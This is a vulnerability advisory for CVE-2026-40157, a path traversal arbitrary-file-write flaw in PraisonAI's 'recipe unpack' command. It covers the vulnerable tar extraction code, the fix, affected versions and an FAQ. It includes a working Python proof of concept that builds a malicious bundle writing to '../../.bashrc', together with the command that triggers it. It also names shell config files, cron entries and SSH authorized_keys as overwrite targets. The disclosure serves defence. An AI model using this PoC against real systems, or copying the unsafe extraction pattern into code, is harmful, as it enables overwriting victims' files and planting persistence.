CVE-2026-40157: PraisonAI affected by arbitrary file write via path traversal in `praisonai recipe unpack`
| Field | Value | |---|---| | Severity | Critical | | Type | Path traversal -- arbitrary file write via tar.extract() without member validation | | Affected | src/praisonai/praisonai/cli/features/recipe.py:1170-1172 |
Summary
cmdunpack in the recipe CLI extracts .praison tar archives using raw tar.extract() without validating archive member paths. A .praison bundle containing ../../ entries will write files outside the intended output directory. An attacker who distributes a malicious bundle can overwrite arbitrary files on the victim's filesystem when they run praisonai recipe unpack.
Details
The vulnerable code is in cli/features/recipe.py:1170-1172:
python for member in tar.getmembers(): if member.name != "manifest.json": tar.extract(member, recipedir)
The only check is whether the member is manifest.json. The code never validates member names -- absolute paths, .. components, and symlinks all pass through. Python's tarfile.extract() resolves these relative to the destination, so a member named ../../.bashrc lands two directories above recipedir.
The codebase does contain a safe extraction function (safeextractall in recipe/registry.py:131-162) that rejects absolute paths, .. segments, and resolved paths outside the destination. It is used by the pull and publish paths, but cmdunpack does not call it.
python recipe/registry.py:141-159 -- safe version exists but is not used by cmdunpack def safeextractall(tar: tarfile.TarFile, destdir: Path) -> None: dest = str(destdir.resolve()) for member in tar.getmembers(): if os.path.isabs(member.name): raise RegistryError(...) if ".." in member.name.split("/"): raise RegistryError(...) resolved = os.path.realpath(os.path.join(dest, member.name)) if not resolved.startswith(dest + os.sep): raise RegistryError(...) tar.extractall(destdir)
PoC
Build a malicious bundle:
python import tarfile, io, json
manifest = json.dumps({"name": "legit-recipe", "version": "1.0.0"}).encode()
with tarfile.open("malicious.praison", "w:gz") as tar: info = tarfile.TarInfo(name="manifest.json") info.size = len(manifest) tar.addfile(info, io.BytesIO(manifest))
payload = b"export EVIL=1 # injected by malicious recipe\n" evil = tarfile.TarInfo(name="../../.bashrc") evil.size = len(payload) tar.addfile(evil, io.BytesIO(payload))
Trigger:
bash praisonai recipe unpack malicious.praison -o ./recipes Expected: files written only under ./recipes/legit-recipe/ Actual: .bashrc written two directories above the output dir
Impact
| Path | Traversal blocked? | |------|--------------------| | praisonai recipe pull <name> | Yes -- uses safeextractall | | praisonai recipe publish <bundle> | Yes -- uses safeextractall | | praisonai recipe unpack <bundle> | No -- raw tar.extract() |
An attacker needs to get a victim to unpack a malicious .praison bundle -- say, through a shared recipe repository, a link in a tutorial, or by sending it to a colleague directly.
Depending on filesystem permissions, an attacker can overwrite shell config files (.bashrc, .zshrc), cron entries, SSH authorizedkeys, or project files in parent directories. The attacker controls both the path and the content of every written file.
Remediation
Replace the raw extraction loop with safeextractall:
python cli/features/recipe.py:1170-1172 Before: for member in tar.getmembers(): if member.name != "manifest.json": tar.extract(member, recipedir)
After: from praisonai.recipe.registry import safeextractall safeextractall(tar, recipedir)
Affected paths
- src/praisonai/praisonai/cli/features/recipe.py:1170-1172 -- cmdunpack extracts tar members without path validation
Other sources
PraisonAI is a multi-agent teams system. Prior to 4.5.128, cmdunpack in the recipe CLI extracts .praison tar archives using raw tar.extract() without validating archive member paths. A .praison bundle containing ../../ entries will write files outside the intended output directory. An attacker who distributes a malicious bundle can overwrite arbitrary files on the victim's filesystem when they run praisonai recipe unpack. This vulnerability is fixed in 4.5.128.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2026-40157?
CVE-2026-40157 is classified as a critical severity vulnerability.
How do I fix CVE-2026-40157?
To fix CVE-2026-40157, upgrade to version 4.5.128 or later of PraisonAI.
What type of vulnerability is CVE-2026-40157?
CVE-2026-40157 is a path traversal vulnerability that allows arbitrary file write.
Which versions of PraisonAI are affected by CVE-2026-40157?
Versions of PraisonAI from 2.7.2 up to, but not including, 4.5.128 are affected by CVE-2026-40157.
Where can I find more information about CVE-2026-40157?
More information about CVE-2026-40157 can be found in the official security advisories.